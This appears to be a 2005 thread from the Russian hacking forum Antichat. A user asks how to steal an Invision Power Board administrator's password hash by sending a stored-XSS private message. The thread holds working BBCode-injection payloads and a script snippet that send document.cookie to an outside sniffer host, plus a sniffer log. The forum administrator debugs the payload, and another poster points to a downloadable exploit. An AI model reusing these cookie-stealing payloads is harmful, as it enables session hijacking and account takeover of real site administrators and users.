Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Вопрос про проведению атаки класса XSS, в форуме Invison Power Board |
31.05.2005, 17:55
|
|
Banned
Регистрация: 14.03.2005
Сообщений: 21
Провел на форуме:
99047
Репутация:
-2
|
|
Вопрос про проведению атаки класса XSS, в форуме Invison Power Board
НАРОД СРОЧНО ПОМОГИТЕ!!!КОРОЧЕ НАШЁЛ ФОРУМ Invison Power Board.
Когда в приватном сообщении отправляю :
[COLOR=  ]` style=background:url(javascript :alert()) [/COLOR]
То при прочтении это письма выбрасывается окошко,где ничего не написано.
Когда вставлю :
[COLOR= ]` style=background:url(javascript :document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) [/COLOR]
То при прочтении его,ничего в письме не написано,а в логах античата написан IP,но не мой,но моей страны,а так же ничего больше не написано в логах :
[Tue May 31 17:39:19 2005] IP=62.148.156.202 SITE=
REFERER=
QUERY=
AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.54u1 [en]
Вот такое сообщение.Пожалуйста напишите как преобразовать,чтоб заполучить хэш.Тоесть что добавить или чё делать,чтоб при отправке кода админу,я бы получил в логах снифера хэш пароля.
ПОЖАЛУЙСТА ПОМОГИТЕ!!!!!1 |
|
|
31.05.2005, 18:30
|
|
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051
Репутация:
45
|
|
[COLOR=  ]` style=background:url(javascript :document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) [/COLOR] Если нет элемента (картинки) с номером 68, то не сработает ...
попробуй
|
|
|
|
31.05.2005, 18:33
|
|
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме:
7426415
Репутация:
1398
|
|
Бля не мучайся скачай эксплойт с securitylab.ru и всё.
|
|
|
|
31.05.2005, 18:39
|
|
Banned
Регистрация: 14.03.2005
Сообщений: 21
Провел на форуме:
99047
Репутация:
-2
|
|
SanyaX можешь дать мне ссылку где скачать эксплойт
|
|
|
|
31.05.2005, 18:40
|
|
Banned
Регистрация: 14.03.2005
Сообщений: 21
Провел на форуме:
99047
Репутация:
-2
|
|
ЧеГевара ты что написал images[0].src= Это вместо той картинки вставить?
|
|
|
|
31.05.2005, 19:41
|
|
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051
Репутация:
45
|
|
Все изображения в хтмл-документе представляются через массив images, который в свою очередь является свойством document-объекта. Изображение получает номер, так принято, что первое изображение получает 0, второе 1, третье 2 и т.д.
В примере взятом с http://antichat.ru/sniff/
Код HTML:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
Создается новый Image-объект с именем img ... Затем определяется адрес изображения, представляемое через обект img ( а src - обязательный атрибут, указывающий URL рисунка (с) справочник =)) + через cgi-запрос передается содержавние cookies для текущего документа ...
Ситуация с твоим примером аналогична, за исключением лишь того факта, что используется уже существующий Image-объект ... Но если он не будет найден на странице, то это вызовет ошибку ... |
|
|
|
31.05.2005, 22:40
|
|
Участник форума
Регистрация: 17.07.2004
Сообщений: 181
Провел на форуме:
560754
Репутация:
97
|
|
|
|
|
|
02.06.2005, 15:19
|
|
Новичок
Регистрация: 01.06.2005
Сообщений: 12
Провел на форуме:
20529
Репутация:
0
|
|
Grrl
извини... а мона тупой вопрос?? а как кмопилировать сплойт?? где взять прогу или что вообще как, можешь объяснить?? плиз..
|
|
|
|
02.06.2005, 16:07
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме:
1535446
Репутация:
182
|
|
Перл это не компилируемый язык,а интерпретируемый.
|
|
|
|
02.06.2005, 16:29
|
|
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
Провел на форуме:
293464
Репутация:
42
|
|
специалисты утверждают что вопреки расхожему мнению, перл - компилируемый
(не придираясь к словам, а так, в кач-ве интересного факта)
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
